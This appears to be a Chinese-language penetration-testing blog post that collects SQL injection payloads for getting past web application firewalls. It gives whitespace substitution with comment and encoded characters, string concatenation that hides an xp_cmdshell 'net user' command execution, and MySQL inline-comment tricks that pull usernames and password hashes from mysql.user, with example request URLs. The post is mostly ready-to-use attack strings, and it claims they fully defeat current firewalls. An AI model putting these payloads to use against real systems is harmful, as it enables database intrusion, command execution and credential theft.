渗透测试之WAF规则触发绕过规则之规则库绕过方式
目录
Waf触发规则的绕过
特殊字符替换空格
实例
特殊字符拼接绕过waf
Mysql 内置得方法
注释包含关键字
实例
Waf触发规则的绕过
特殊字符替换空格
用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格
这个方法也可以部分绕过最新版本的WAF
在sqlserver和mysql中都可以用/**/代替空格,也可以使用如下方法:
- &&&
- /*|%23--%23|*/ 注释符号 *|%23--%23|* 干扰符号
- /**/代替空格
- Select/**/*from/**/member
实例
http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/union/*|%23-- %23|*/select/*|%23--%23|*/1,user(),3,4,5
-------------------------------------------------------------------------------
http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2
%23 是#的url编码形式
特殊字符拼接绕过waf
Mysql 内置得方法
Select user() 当前用户名称
Database() 当前数据库
调用一些mysql得拼接函数 防火墙是解析不到 但是sql语句是能进行执行得。
- 把特殊字符拼接起来绕过WAF的检测
-
通过+拼接,比如在Mysql中
-
可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接
如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
注释包含关键字
在mysql中
可以利用/!/包含关键词进行绕过
在mysql中这个不是注释,而是取消注释的内容
测试最新版本的WAF可以完美绕过。 这个需要mysql版本大于5.00.00
实例
如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
---------------------------------------------------------------------------------
如: GET /pen/news.php?id=1 union select user,password from mysql.user
可以改为: GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。